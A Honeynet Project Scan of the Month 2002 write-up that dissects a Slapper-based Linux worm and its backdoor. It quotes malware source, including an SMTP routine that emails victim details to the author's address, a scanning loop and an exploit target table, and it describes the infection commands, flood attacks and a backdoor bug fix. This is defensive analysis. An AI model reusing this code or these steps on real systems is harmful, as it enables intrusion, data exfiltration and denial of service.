Honeynet Project

Scan of the Month 25 - November 2002

Nicola Gatta


The first part of this work answers the question, giving a brief explanation (when possible).
The second part tries to dissect the behavior of this worm.
The most difficult answers are documented in the second part.

More Details

Hope you enjoy!


1. Which is the type of the .unlock file? When was it generated?

Type:           tar file zipped with Gzip.
Created on:     Fri Sep 20 12:59:04 2002
It contains two files ( .unlock.c and .update.c )

[nicola@Westeros sotm]$ file .unlock
.unlock: gzip compressed data, deflated, last modified: Fri Sep 20 12:59:04 2002, os: Unix

[nicola@Westeros sotm]$ cp .unlock unlock.gz
[nicola@Westeros sotm]$ gunzip unlock.gz
[nicola@Westeros sotm]$ file unlock
unlock: GNU tar archive

[nicola@Westeros sotm]$ tar -tvf unlock
-rw-r--r-- root/wheel    70981 2002-09-20 15:28:11 .unlock.c
-rw-r--r-- root/wheel     2792 2002-09-19 23:57:48 .update.c

2.  Based on the source code, who is the author of this worm?
     When it was created? Is it compatible with the date from question 1?

The author is contem@efnet
This worm was also modified by aion (aion@ukr.net)

 *                                                                          *
 *           Peer-to-peer UDP Distributed Denial of Service (PUD)           *
 *                         by contem@efnet                                  *
 *      		      ^^^^^^^^^^^^                                  *
 *                                                                          *
 *  some modification done by aion (aion@ukr.net)                           *
                               ^^^  ^^^^^^^^^^^^

The source file was created on  Sep 20 15:28
The date is not compatible, because the tarball .unlock was created
earlier than the file  .unlock.c

[nicola@Westeros sotm]$ tar -tvf unlock
-rw-r--r-- root/wheel    70981 2002-09-20 15:28:11 .unlock.c
-rw-r--r-- root/wheel     2792 2002-09-19 23:57:48 .update.c

3.  Which process name is used by the worm when it is running?

The process name is: httpd

Note that the process real name is httpd with a space at the end (i.e. "httpd ");

Just take a look at the source code  (.unlock.c) :
#define PSNAME          "httpd "
        int main(int argc, char **argv) {

argv[0] is the first argument of the command line when you start an executable
(usually the filename of the executable itself)
The line
substitutes argv[0] and so the name of the process is "httpd "

4.  In wich format the worm copies itself to the new infected machine?
     Which files are created in the whole process?
    After the worm executes itself, wich  files remain on the infected machine?

In order to answer this question, I must briefly describe the behavior of the worm.
When the worm is started on a machine, it begins listening on a UDP port (UDP/4156, see Question #5).
After that collect the command line parameters (usually the IP address of the attacking machine) and sends them to using a UDP packet.
After that it sends an email containing the IP address of the infected machine, its hostname and the IP address of the attacking machine. Then the worm changes the process name as seen in Question #3.
At this point the worm enters a while loop: in this loop the worm behaves as a client and as a server at the same time.
As a client it sends UDP packet on 4156 port: it does a sort of relay, communicating with other infected machine.
Once it has done some communiation with other infected machine, the worm performs some attacks: it chooses a IP  A.B.C.D  where A and B are random numbers.
First it scans the TCP port 80 (looking for a http server) and then call the exploit( ) function.
The exploit( ) function does the following work:
  • Match the version of the web server against the list in architectures[]
  • It opens a SSL socket, does some ugly stuff on this socket 
  • Calls the sh() function
The sh( ) funtion sends on the SSL socket some commands to execute on the remote machine (the attacked machine), first it spawns an interactive shell and then executes the follwing commands:
  1. Remove the files /tmp/.unlock.uu  /tmp/.unlock.c  /tmp/.update.c /tmp/httpd /tmp/update /tmp/.unlock on the remote machine;
  2. Tells the remote machine to redirect the input of the interactive shell to the file /tmp/.unlock.uu file until it receives the string "__eof__"
  3. Then the worm writes the first three bytes of the local /tmp/.unlock file (the tarball containing .update.c and .unlock.c) to the value "\x1f\x8b\x08" (they identify a gzip file)
  4. It calls encode(); this function sends a uuheader "begin 655 .unlock\n" on the SSL-socket and the reads the local /tmp/.unlock byte per byte, encodes the byte in the way uuencode does and sends the byte onto the SSL-socket. Once finished transferring the file, the worm on attacker machine write the first three bytes of the tarball to "\x00\x00\x00" (see NOTE below)
  5. After that it sends "__eof__" to the attacked machine
  6. Now on the remote machine there's a file /tmp/.unlock.uu containing the uuencoded version of .unlock tarball
  7. The worm tells the attacked machine to decode the /tmp/.unlock.uu to /tmp/.unlock, then split the tarball and compile /tmp/.unlock.c and /tmp/.update.c
  8. The executables ( /tmp/httpd and /tmp/update ) are then started on the attacked machine, using the IP address of the attacker machine as parameter to the worm executabl
  9. The the worm tells the attacked  machine to remove:
  •  the uuencoded file (/tmp/.unlock.uu)
  •  the source files /tmp/.unlock.c /tmp/update.c
  •  the executable files /tmp/httpd /tmp/update

The only file that remains on the infected machine is the tarball /tmp/.unlock

The worm is uploaded in a uuencoded format using am input redirection in a shell spawned on a SSL socket.

During the process the created files are:
created with a redirection on the shell
/tmp/.unlock  created by uudecoding  the unlock.uu
/tmp/.update.c and /tmp/.unlock.c created by the command " tar xzf /tmp/.unlock -C /tmp"
/tmp/httpd and /tmp/update by compiling the C source file

After starting the executables the  following files are deleted:
/tmp/.update.c and /tmp/.unlock.c
/tmp/httpd and /tmp/update

The only file that remains on the machine is
in a modified version (first three bytes null)

Note that this file is necessary for spreading the worm on non-infected machines

the worm, after sending the email, writes the first three bytes of /tmp/.unlock (the tarball) to "\x00\x00\x00".
The first three bytes of  gzip file are "\x1f\x8b\x08"
Probably it helps to deceive some tool:

with a "\x00\x00\x00" /tmp/.unlock
[nicola@Westeros sotm]$ file /tmp/.unlock
/tmp/.unlock: data

with a "\x1f\x8b\x08" /tmp/.unlock
[nicola@Westeros sotm]$ file /tmp/.unlock
/tmp/.unlock: gzip compressed data, deflated, original filename ....

Note that the file starts with "\x1f\x8b\x08" only during the upload of the

5.  Which port is scanned by the worm?

Protocol:       TCP
Port:           80

Looking for an Apache webserver .....

Look  in the main( ):

#ifdef SCAN
                if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2) && p<100;n++) if (clients[n].sock == 0) {
                        char srv[256];
                        if (d == 255) {
                                if (c == 255) {
                                        a=classes[rand()%(sizeof classes)];
                                else c++;
                        else d++;
                for (n=CLIENTS;n<(CLIENTS*2);n++) if (clients[n].sock != 0) {
                        if (p == ASUCCESS || p == ACONNECT || time(NULL)-((unsigned long)clients[n].ext) >= 5) atcp_close(&clients[n]);
                        if (p == ASUCCESS) {
                                char srv[256];
                                if (mfork() == 0) {


The function atcp_sync_connect(&clients[n],srv,SCANPORT);   sets up a socket in order to connect to srv on TCP port SCANPORT  (A.B.C.D:80 )
The function atcp_sync_check(&clients[n]); tries to connect using the socket prepared by  atcp_sync_connect();  it returns :
  • ASUCCESS on successful scan,
  • ACONNECT if we are connected to the scanned machine
  • APENDING if there's an error of connection
Note that on succesful scan  (ASUCCES or ACONNECT) or on a timeout, the connection is closed, but only if the scan is successful (ASUCCESS) the worm launches the exploit

6.  Which vulnerability the worm tries to exploit? In which architectures?

        It's a vulnerability of SSL implementation for Apache web server running on
        various systems based on Gentoo, RedHat, SuSE, Mandrake, Slackware
        distributions of GNU/Linux

         architectures[] = {
        {"Gentoo", "", 0x08086c34},
        {"Debian", "1.3.26", 0x080863cc},
        {"Red-Hat", "1.3.6", 0x080707ec},
        {"Red-Hat", "1.3.9", 0x0808ccc4},
        {"Red-Hat", "1.3.12", 0x0808f614},
        {"Red-Hat", "1.3.12", 0x0809251c},
        {"Red-Hat", "1.3.19", 0x0809af8c},
        {"Red-Hat", "1.3.20", 0x080994d4},
        {"Red-Hat", "1.3.26", 0x08161c14},
        {"Red-Hat", "1.3.23", 0x0808528c},
        {"Red-Hat", "1.3.22", 0x0808400c},
        {"SuSE", "1.3.12", 0x0809f54c},
        {"SuSE", "1.3.17", 0x08099984},
        {"SuSE", "1.3.19", 0x08099ec8},
        {"SuSE", "1.3.20", 0x08099da8},
        {"SuSE", "1.3.23", 0x08086168},
        {"SuSE", "1.3.23", 0x080861c8},
        {"Mandrake", "1.3.14", 0x0809d6c4},
        {"Mandrake", "1.3.19", 0x0809ea98},
        {"Mandrake", "1.3.20", 0x0809e97c},
        {"Mandrake", "1.3.23", 0x08086580},
        {"Slackware", "1.3.26", 0x083d37fc},
        {"Slackware", "1.3.26",0x080b2100}

The exploit  abuses the KEY_ARG buffer overflow that exists in SSL enabled Apache web servers that are compiled with OpenSSL versions prior to 0.9.6e.
The exploit is based on the Slapper worm (bugtraq.c), which is based on a early version of the apache-open-ssl exploit.

For further inforamtion see:

7.  What kind of information is sent by the worm by email? To which account?

The email is sent by the infected machine. It contains:
  1. The IP of the infected machine 
  2. The hostname of the infected machine
  3. the IP address of the attacking machine
(the xploit runs on the remote machine
 ./httpd IP_address_of_local_machine
For example:
I'm on machine and attack
On the worm runs ./httpd
so the argv[1] is the attacker machine)

Just take a look at this:

#define MAILSRV         "freemail.ukr.net"
#define MAILTO          "aion@ukr.net"


int mailme(char *sip) 
  char cmdbuf[256], buffer[128];
  int pip; long inet;
  struct sockaddr_in sck;
  struct hostent *hp;

  if(!(pip=socket(PF_INET, SOCK_STREAM, 0))) return -1;
        memcpy (&inet, hp->h_addr, 4);
    else return -1;
  sck.sin_family = PF_INET;
  sck.sin_port = htons (25);
  sck.sin_addr.s_addr = inet;
  if(connect(pip, (struct sockaddr *) &sck, sizeof (sck))<0) return -1;

  sprintf(cmdbuf,"helo test\r\n");                     writem(pip, cmdbuf);
  sprintf(cmdbuf,"mail from: test@microsoft.com\r\n"); writem(pip, cmdbuf);
  sprintf(cmdbuf,"rcpt to: "MAILTO"\r\n");             writem(pip, cmdbuf);
  sprintf(cmdbuf,"data\r\n");                          writem(pip, cmdbuf);
  sprintf(cmdbuf," hostid:   %d \r\n"
                 " hostname: %s \r\n"
                 " att_from: %s \r\n",gethostid(),buffer,sip); 
                                                       writem(pip, cmdbuf);             
sprintf(cmdbuf,"\r\n.\r\nquit\r\n");                 writem(pip, cmdbuf);
  return close(pip);
This function connects to the SMTP server MAILSRV ( "freemail.uk.rnet") and send a mail to MAILTO ("aion@ukr.net")
In the body it contains:
  1. hostid :            The IP address of the infected machine (the machine on which the worm is running)
  2. hostname :      The hostname of the infected machine
  3. att_from:        The IP address of the machine that performed the attack

8.  Which port (and protocol) is used by the worm to communicate to other infected machines?

protocol:       UDP
port:           4156

When the worm starts, it begins listening on UDP port 4156.
The worm uses this port to communicate with other infected machine (relay).
This worm also listens for incoming request on this port: it can do some netork attacks (udp/tcp flooding, dns flooding and
 email scanning) when receives particular packets.

Better explanation in the Details section.

9.  Name 3 functionalities built in the worm to attack other networks.
The worm offer this network attack functionalities:
  •  UDP flood
  •  TCP flood (IPv4 and IPv6)
  •  DNS flood
There are other   functionalities like:
  • Opening and closing a bounce
  • Running a command on the onfected machine
  • Email scanning (searches the filesystem (except /dev /proc /bin)) for files containing the character '@' and extracting good bytes (from 'a' to 'z', from 'A' to 'Z' , '0' to '9', and '.', '-' , '@', '^'. '_') from these filea
Better explanation in the Details section.

10.  What is the purpose of the .update.c program? Which port does it use?

It's a "shell server".
It listens on port 1052 (TCP).
If a client connects to the server, the update server spawns a child (up to a maximum of 5).
Every child duplicates the socket to the stdin, stderr and stdout with  dup2(soc_cli,0); dup2(soc_cli,1);
and reads a buffer of 10 bytes from the socket: if the buffer is correct ("aion1981") the server
spawns a shell "/bin/sh". The shell use the socket  as stdin, stdout, stderr so the client receives a remote shell.

In three words: it's a backdoor.

NOTE: there's a bug in the code:

accept() function is declared as
        int accept(int sockfd, void *addr, int *addrlen);

in update.c

	soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, sizeof(client_addr));

the third parameter is an integer, not a pointer!
It doesn't works!

The correct code is

        int sin_size;
        soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &sin_size);

11.   Bonus Question: What is the purpose of the SLEEPTIME and UPTIME values in the .update.c program?

The update.c opens a tcp port (1052) so it is visible giving a command like

[nicola@Westeros sotm]$ netstat -na | grep LISTEN
tcp        0      0  *               LISTEN

The backdoor server uses UPTIME and SLEEPTIME to turn on/off the listening on port 1052.
The server use a nonblocking socket and fall into a loop:
  1. Accepts connections only for UPTIME seconds (= 10 seconds). after that it shutdowns the listening socket.
  2. Then it sleeps for SLEEPTIME seconds (300 seconds = 10 minutes).
  3. It resumes listening on port 1052.

The behavior is
Starting Time (hh:mm:ss)
End Time (hh:mm:ss)
What the program does
Listen for connection
Do NOT listen
Do NOT listen

and so on ...

Probably the purpose of this behavior is to hide the backdoor.

More Details

The worm, based on Linux Slapper Worm, uses UDP packets to talk to other infected machines.

at main() source code,:

  1.  Initializes routes,clients and initrec to   
  2. initrec.h.tag = 0x70
  3. with the help of audplisten(), creates a socket and stores it udpserver->sock, it then binds  udpserver->sock to UDP PORT (UDP/4156) on interface ANY 
  4. Scans the argv[] array and resolves (if possible) the address, an stores them in cpbases[] address
  5. For each cpbases[i], it calls  relay(cpbases[i],initrec,sizeof(initrec))  
                a) calls audprelay(udpservers,ts,cpbases[i],PORT) where PORT = 4516

                            1) try to  gethostname(cpbases[i]);
                            2) store in  ts :
                                    a) the socket in udpservers->sock (localhost:4156)
                                    b) the couple (cpbases[i]:4156) by means
                                           inst->in.sin_family = AF_INET;
                                           inst->in.sin_port = htons(PORT);
                            3) Now ts contains all the information in order to
                                connect via UDP localhost to cpbases[i]
                 b) calls lowsend(&ts,b,initrec,len)

                            1) calls in_cksum(); and newrsa();
                            2) copies in_cksum, newrsa and initrec in mbuf
                            3) copies mbuf to q
                            4) if b==0 then it sends  mbuf to cpbases[i]:4156
                                and record the try in the queue structure
                                else if b!=0  then q->destination = NULL
                                and signs q->trys=b
                        5) q->time = time(NULL);
                        6) stores q in the queue
                        7) if (ts != NULL) sends mbuf a cpbases[i],
                            note that mbuf contains the tag 0x70
                        8) free(mbuf);

        NOTE: these functions are used to share information on the infected network

    6.  It duplicates file descriptors 0,1,2 (stdin,stdout,stderr) to null
        (i.e. null = open("/dev/null",O_RDWR);)
        The worm doesn't show any stdout/stderr and accepts no stdin
    7. forks a child
    8.  calls mailme();
         In this function
        a) hostid           = IP address of the local machine
        b) hostname      = hostname of the local machine
        c) att_from       = IP address of the machine that exploited local machine and run the worm
         Note that the attacking machine executes the worm using its own IP address as first parameter when running the worm
        So the worm o the infected machine has the IP address of the attacking machine as first parameter          

    9. Change the process name with strcpy(argv[0],PSNAME); where PSNAME = "httpd "

    10. The worm choose a=(rand() % sizeof classes), b=rand(), c=0, d=0
    11. Now the worm starts a loop ( while(1) { ) in which it behaves as a client and a server:
  •  inserts udpserver.sock in un file descriptor set (it is used by select() system call to handle the multiplexed I/O on UDP port 4156
  •  does the same thing with clients[i].sock  
  •  executes the select monitoring for an incoming packet on UDP port 4156
  •  Some problem with select? If so wait for children to hang and reallocs the necessary structures for new children
  •  The loop started more than 60 seconds ago?
                    If the worm knows no links then retry the relay with 0x70 tag
                         else sets the tag to 0x74 and calls segment();
                                  segment does the following work:
                                           a)  enques the packet q with q->destination = NULL with lowsend() function
                                           b) choose  (random) ten  elements from links[i] and sends them a  0x74 packet
  • Did the loop start more than 3 seconds ago
                         YES :     it scans every element  of the queue using the variable q
                                             if (time(NULL) - q->time) > (36+numlinks/15)
                                                   deletes  q from the queue (deletes old elements)
                                                   else  if (time(NULL) - q->ltime) >= 3  [for  the first relay] or 6 [for other relays]
                                                                      then do a relay to q->destination
                                                                       else calls segment which sends 0x74 packets to ten links randomly choosen
  • Check how any seconds have passed from the loop
                    if seconds > 600 then calls broadcast():
                            broadcast sends a 0x26 tagged message with a segment()
                            NOTE: This packet has a record hops=5
                            probably it  has some information on  routing
  • Check for incoming packets on UDP if so it sets  udpserver.len=AREAD
  • If  myip is not NULL then for the last CLIENTS (128)  clients[i] does the following things:
                   a) choose a IP A.B.C.D where  A and B are random, while C and D  are incremented for every single client
                   b) sets up a non blocking socket using TCP port 80 (SCANPORT)
                     and  client[i].ext=time(NULL);
                   c) try to connect to TCP port 80 (a so called TCP connect scan) and close the socket
                   d) if the scan was succesfull it forks a child:
                       this child calls exploit(clients[n].in.sin_addr.s_addr);
                       (i.e. the child try to infect the machine having clients[n].in.sin_addr.s_addr IP address)
  • for each client (all the clients) check if the connection is in TCP_PENDING  phase
                    YES: Check :
                            se ACONNECT sends to client[i] the tag 0x42 : it spcifies to client[i] to do a relay using client[i].ext as target
                            se ASUCCESS tells client[i] to relay to client[i].ext and also sends client[i]ext5. client[i] go in the SOCKS_REPLY state
                    NO: if client[i] is  in SOCKS_REPLY state and it is not yet used
                                    then the worm receive a buffer form UDP port 4156
                                          if the buffer is NULL then marks client[i] as TCP_CONNECT
                                                       else tells client[i] to relay with client[i].ext as target, then it closes the connection with client[i]
                                   else if client[i] is in TCP_CONNECT state and not marked as yet used
                                                      the worm receives  a buffer
                                                           if there's a receiving error  the worm tells client[i] to do a relay (0x42) to client[i].ext
                                                               sending clients[i].ext3 and closes connection with client[i]
                            else the worm tells client[i] to relay (0x41) obfuscating th buffer and adding clients[i].ext3 to the buffer
  • The worm now act as a "enslaved" server: it receives UDP packets from the UDP port 4156. Then it discriminate among the tag
    1. tag 0x41 0x42 0x43 0x44 0x45 0x46 0x47 are used to command a relay to an "enslaved" machine
    2. tag 0x70 tells that the machine sending the packet is infected, so the worm adds the remote machine in the server list
    3. 0x71 tag is used to send to known hosts  the address of a new infected machine: the worm sends this type of message after receiving a 0x70 tagged message 
    4. 0x72, as far as I can understand, is used to force a machine to send 0x71 messages containing the infected hosts known by the machine
    5.  0x73 tagged messages are sent after the worm has received a 0x70 tag. The purpose of this message is to send an infected machine IP address to the infected machine itself. The machine update myip. Before receiving this type of message, the nfected machine cannot exploit other machines  
    6. 0x74 is sent by an infected machine which doesn't know her myip   : a machine receiving this type of packets replies with a 0x73 packet sending the IP address
    7. With 0x21, 0x22 and 0x23 tag messages, a client tells a server to open, close and send message to another host using a bounce
    8. With 0x24 messages a client tells a server to run a command using the call popen()  (The  popen()  function  opens a process by creating a pipe, forking, and invoking the shell)
    9. In 0x29 tagged  messages, the received buffer contains the ip address of a target (rp->target) and the UDP port (rp->port ) to use when attacking then target. When the the worm receives a 0x29 tagged message, if rp->port is not specified the a random port is choosen. Then the worms create a nonblocking UDP socket and start sending UDP packets (with random payload) to the target. Every 50 packets, the worm checks how much time is passed since the beginning of the flood:  if the time is greater than rp->secs (the client which commands the worm to attack  chose the duration of the attack) then stops that attack, else it goes on attacking
    10. in the case of a 0x2A tagged message, the worm performs a TCP flooding : it repeats TCP connection to the target, grouped by 50 during a total period of rp->secs. (this attack is a SYN Flood, because it try only connection and does not sends any payload)
    11. In the case of 0x2B the worms performs a TCP Flood attack but on IPv6 network
    12. When the worm receives a 0x2C it performs a UDP flood to a DNS server. The target is rp->target, The difference between DNS Flood and UDP Flood is that in DNS Flood the payload of the sent packets is accurately forged, it's not just a random buffer.
    13. Finally, the worm, after receivinga 0x2D tagged packet, starts searching the filesystem of the local machine for email files. The StartScan function searches every file on the filesystem from the root directory (does not search in /proc /bin /dev , obviously) and call the ScanFile function for each file. The ScanFile search into the file for a '@' character. When if finds such a character it rewinds the file bype per byte while the byte is a good character (alphanumeric or '@' or '.' or '_' or '-' or '^'). When it stops rewinding, the worm reads from the current position of the file while there are good bytes. In this way the ScanFile can retrieve email addresses from the scanned file. The function also adds the email address in a list, calling AddToList(email). After scanning the filesystem, the worm sends the address list to IP:ESCANPORT, where IP is a IP address specified in the 0x2D tagged packet and ESCANPORT is 10100. The TCP port 10100 is not used for any service http://www.iana.org/assignments/port-numbers
      Probably the attacker starts a server listening on ESCANPORT
  • It's the end of the loop: goes to the beginning of the while(1) loop.
That's for the worm behavior.

Only a few words on the exploit code: it's obviously the exploit used by Linux Slapper Worm.
I prefer not to analyse the exploit code: it's too difficult.

Hope you enjoyed the analysis.

Thanks to:
W. Richard Stevens for his wonderful books on Network and Unix Network programming;
all GNU/Linux people for their great work;
Packetstormsecurity people for their great pubblication.